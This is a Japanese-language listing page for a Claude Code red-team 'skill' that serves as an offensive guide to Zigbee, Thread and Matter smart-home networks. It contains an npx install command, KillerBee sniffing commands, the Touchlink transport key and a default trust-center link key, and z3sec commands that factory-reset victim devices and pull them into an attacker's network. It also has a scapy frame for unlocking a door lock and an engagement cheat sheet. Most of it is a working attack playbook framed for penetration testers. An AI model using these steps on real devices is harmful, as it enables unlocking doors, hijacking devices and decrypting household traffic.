offensive-zigbee-thread-matter について
無線セキュリティテスター向けの Zigbee、Thread、Matter 攻撃ガイドです。ネットワーク探索、通信のキャプチャ、コミッショニングの悪用、各プロトコル固有のリスクと関連ツールを扱います。
主な機能
- 01ネットワーク探索と 802.15.4 通信のキャプチャ
- 02Zigbee Touchlink コミッショニングの悪用
- 03参加キーの取得と通信の復号
- 04ZCL/ZHA クラスタコマンドの作成
- 05Thread と Matter のコミッショニングリスク評価
活用シーン
- 01Zigbee 照明やセンサーのコミッショニング安全性評価
- 02デバイス参加時のキー交換通信の分析
- 03Thread または Matter の認証情報とコミッショニング手順のテスト
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-zigbee-thread-matterインストール後、Claude Code で/offensive-zigbee-thread-matterを入力して読み込まれたか確認します。
詳細
Zigbee / Thread / Matter の攻撃
802.15.4 ベースのメッシュプロトコルは、ほとんどの「スマートホーム」デバイスの基盤です。Zigbee は広く普及しており、暗号鍵の再利用に関する既知の問題があります。最新の IPv6 ベースの Thread は、より強固なデフォルト設定を採用しています。Matter は、より強力な暗号技術を用いてこれらのコミッショニングモデルを統合していますが、実装上の落とし穴は依然として存在します。
クイックワークフロー
- 対象の周波数をスニッフィングします(2.4 GHz 帯のチャンネル 11~26)
- ネットワークコーディネーターと参加中のデバイスを特定します
- Zigbee の場合:既知のキーを使って Touchlink コミッショニングを試します
- デバイスのコミッショニング時に、参加キーの交換をキャプチャします
- ZCL/ZHA クラスターコマンドをリプレイまたはインジェクションします
ハードウェア
| アダプター | 用途 |
|---|---|
| TI CC2531 USB スティック | 安価で、Zigbee2MQTT、KillerBee で動作します |
| TI CC2540 / CC2652 | Zigbee + Thread + BLE |
| Sonoff Zigbee Dongle E (CC2652P) | 最新で、広くサポートされています |
| ApiMote (KillerBee dev) | マルチチャンネル、scapy-dot15d4 |
| HackRF + 適切なファームウェア | より低レベルな RF の柔軟性 |
検出とスニッフィング
# KillerBee suite
zbstumbler -i 0 # find Zigbee networks
zbid # ID coordinators
zbdump -c 11 -w zigbee.pcap # dump channel 11 to pcap
# scapy-dot15d4 for crafted frames
python3
>>> from scapy.contrib.dot15d4 import *
>>> sniff(iface='/dev/ttyACM0', count=50)
Wireshark で dot15d4 と zbee_nwk のディセクターを使うと、フレームカウンター、ネットワークキー(参加済みの場合)、ZCL コマンドを確認できます。
Touchlink コミッショニングの悪用
Touchlink(Zigbee 3.0 のコミッショニング、特に照明で使用されます)では、既知のトランスポートキーが使われます。
0x9F559A553B7A6B2C5C4FBB4E84956F3D
多くの一般向け Zigbee 電球やライトストリップは、このキーを使って近くの無線機器から行われる Touchlink コミッショニングを受け入れます。これにより、自分のネットワークに参加させたり、相手のネットワークから奪ったりできます。
# z3sec — Zigbee 3 commissioning attack toolkit
git clone https://github.com/IoTsec/Z3sec
python z3sec_inter_pan.py --command "factory_reset_request" --device <addr>
python z3sec_inter_pan.py --command "join_network" --network <PANID>
結果:
- 被害デバイスをリモートで工場出荷時の状態にリセットします(DoS/大規模な妨害)
- 照明やセンサーを攻撃者のネットワークに奪い取ります
- デバイスをネットワークに参加させた後、ネットワークキーを読み取ります
デバイス参加時のネットワークキーのキャプチャ
# Capture coordinator + joining device exchange
zbdump -c <ch> -w join.pcap
# Decrypt if you obtain the trust center link key
# Older Zigbee 1.x networks used a default trust center link key:
# ZigBeeAlliance09
# Modern networks use device-specific install codes
ネットワークキーを入手すれば、そのメッシュ上のすべての通信を Wireshark で復号できます。
ZCL / ZHA クラスターコマンドの悪用
Zigbee Cluster Library は、オン/オフ、レベル、ロックの各クラスターを定義しています。ネットワークキーがあれば、任意のデバイスとしてコマンドを発行できます。
# scapy-dot15d4 frame to unlock a door lock
from scapy.contrib.dot15d4 import *
from scapy.contrib.zigbee import *
frame = Dot15d4FCS()/Dot15d4Data()/ZigbeeNWK(...)/ZigbeeAppDataPayload(...)/ZCLDoorLock(...)
sendp(frame, iface='/dev/ttyACM0')
同じ手法で、ロックの解錠、スイッチの切り替え、照明の調光、または制御トラフィックによるネットワークの大量通信が可能です。
Thread の特徴
Thread(Apple HomePod、Nest、Eero で使用)は、IPv6(6LoWPAN)を備えた 802.15.4 を使用し、より強固なコミッショニング暗号を採用しています。
- ネットワーク認証情報は、コミッショナーから配布される PSKcです
- デバイスはコミッショナーが存在する状態で参加します
- メッシュのコミッショニングプロトコルは UDP/CoAP 上で動作します
攻撃対象領域:
- コミッショナーデバイス(モバイルアプリのコンパニオン、Apple Home、Nest アプリ)からの PSKc の窃取
- 漏えいした認証情報を再利用して対象ネットワークに参加
- 6LoWPAN のルーティング攻撃(ランク操作、シンクホール)
Matter のコミッショニング
Matter は、Zigbee/Thread/Wi-Fi デバイスのオンボーディングを、1 つのコミッショニングモデルに統合します。
- QR コードまたは手動セットアップコードによって、コミッショニングの許可が与えられます
- 初期コミッショニングには Bluetooth LE が使用されます
- 以降の通信には Wi-Fi または Thread が使用されます
攻撃対象領域:
- コミッショニングウィンドウが閉じられていない場合のセットアップコードの再利用/リプレイ
- 初期コミッショニング中の BLE-MITM(
offensive-bluetooth-bleを参照) - 初期実装におけるファブリック認証の不備
検知
- コーディネーターは予期しないデバイスの参加をログに記録する場合があります
- ハブアプリは「新しいデバイス」の通知を表示しますが、ユーザーが無視することもよくあります
- 防御側による Wireshark/Sonoff でのキャプチャはまれです。ほとんどの環境では 802.15.4 を監視していません
エンゲージメント用チートシート
# 1. Identify networks + channels
zbstumbler -i 0
# 2. Sniff target channel
zbdump -c <ch> -w cap.pcap
# Open in Wireshark with dot15d4/zigbee dissectors
# 3. Touchlink attack on consumer Zigbee 3.0 lighting
python z3sec_inter_pan.py --command "factory_reset_request" --target <addr>
# 4. Steal device into attacker network
python z3sec_inter_pan.py --command "join_network" --target <addr>
# 5. With network key, issue ZCL commands directly
# (custom scapy-dot15d4 + zbee_nwk frames)
# 6. For Thread: focus on commissioner / PSKc theft from companion apps
参考資料
- KillerBee:github.com/riverloopsec/killerbee
- Z3sec:github.com/IoTsec/Z3sec
- 「Zigbee Insecurity」研究(CON Black Hat 講演)
- Thread 仕様:threadgroup.org/support
- Matter / CSA 仕様:csa-iot.org/all-solutions/matter
- 出典:https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md